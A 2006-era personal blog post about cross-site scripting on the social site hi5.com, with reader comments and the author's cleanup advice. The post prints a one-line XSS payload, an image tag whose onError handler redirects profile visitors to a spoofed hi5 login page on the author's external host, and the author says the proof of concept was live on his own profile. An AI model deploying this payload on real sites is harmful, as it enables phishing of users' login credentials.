Inside Paulo Abrantes' head
[ start | index | login or register ]
start > 2006-01-15 > 1

Hi5 and XSS Part II

Created by pabrantes. Last edited by pabrantes, 2 years and 190 days ago. Viewed 1,950 times. #4
[diff] [history] [edit] [rdf]
labels
Category:security
attachments

Hi5 and XSS Part II

Well I've just written a proof of concept on >>my hi5.com profile. You need a valid login! While loading my profile, you'll auto-magically be redirected to a spoofed hi5.com page at my webserver, I won't save the information you input, but I suggest you to enter only testing info to try it out!

For the interested the proof of concept is the following:

<img src="" onError="location.replace('http://pabrantes.dyndns.org/www.hi5.com/friend/displayMyProfile.html');">

Since no image will be loaded an onError event will be generated, and automatically the user will be re-asked to relogin, but in the fake page! Since it's not unusual to be asked to relogin at hi5.com there's a potential danger for users to disclosure their information!

Icon-Comment ras, 2 years and 167 days ago. Icon-Permalink

Hi there, I'm guessing I've been hacked on Hi5.com. When I try to view my own profile (Clicking on the 'My Profile' tab) after logging into Hi5 … I'm redirected to some random page with some obscene graphics! Friends who have viewed my page of late, have mentioned that they see the same obscene graphics and almost automatically they've been infected too i.e their profiles get redirected as well!

My page is getting redirected to - >>http://130n31.4t.com/l.htm

This is happening ever since,I got a request from an unknown person and I clicked on his profile named 'Raj' accompanied with an alien pic

I read your posts 'Hi5 Saga'and 'Hi5 and XSS' and this looks close to some kind of hacking. Could you help me on this? What do I need to do to get it back to normal?!

Thanks,

Ras

Icon-Comment pabrantes, 2 years and 165 days ago. Icon-Permalink

Hello Ras,

I've sent you an email. But since people can find this post, I'll reply it here also.

The attack I've described was a XSS (cross site scripting) attack that you would deploy on your page and affect others that would look your profile. Having your profile changed due to seeing someone's profile, it's a bit more extreme because it would have to do the following:

  1. identify your user well that might not be dificult
  2. be able to submit some code of their own as you, this can be a problem. Since the submissions don't go stored in the URL but in the HTTP Header.
Although I'm not saying it's not possible, I'm gonna look into it a bit. Or could be another totally different problem.

But somehow if it was a script injection on your page here are the tips to see if you can get your profile back:

  1. go to your web browsers preferences and disable javascript
  2. enter your hi5 profile
  3. select My profile and then edit
  4. Check the fields who support HTML and look for strange things you haven't written there.
Also if you find anything please copy/paste and send them back via email or post it here. I would be interested in seeing that.

Best regards,
Paulo Abrantes

Please login to www.pabrantes.net.
Who am I?
paulo-roca2My name is Paulo Abrantes AKA pabrantes and I'm a software developer. I'm currently employed at >>CIIST working as a Java developer in >>FenixEDU.

This blog is mostly about Java programming, domain driven design and snipsnap bliki developing. Everything written in this blog is my personal opinion and it may not reflect the opinions of my employer and co-workers.


Blog subscription
subscribe by rss subscribe by email

Links
>> Home
>> Paulo's Profile
>> Post History
>> Add to Technorati Favorites
>> Paulo's Photo Gallery
>> WishList
>> Posting without Login

Search Blog
Fellow Bloggers

Recent Posts

Java Programming: Bytecode Injection
Intermission: Sorry For Downtime
Software Developing: Studying The Bliki Domain Model
SnipSnap Developing: Trying to settle a roadmap
System Administration: Load Balancing with Apache
Blogging: Two years have passed
Software Developing: The SnipSnap Saga
Java Programming: Getting your code spicy with Groovy
Software Developing: Fluent Interfaces
Software Developing: Implementing a ShoutBox on SnipsSnip
Software Developing: SnipSnap, SnipIt and SnipSnip
Java Programming: Proxies and Access Control
Java Programming: Proxies and References
Java Programming: References' Package
YALM: Yet Another Layout Modification

For older posts, please refer to post-history for a complete Post History

Logged in Users: (0)
… and 5 Guests.
This is a modified version of snipsnap.org created by >>Paulo Abrantes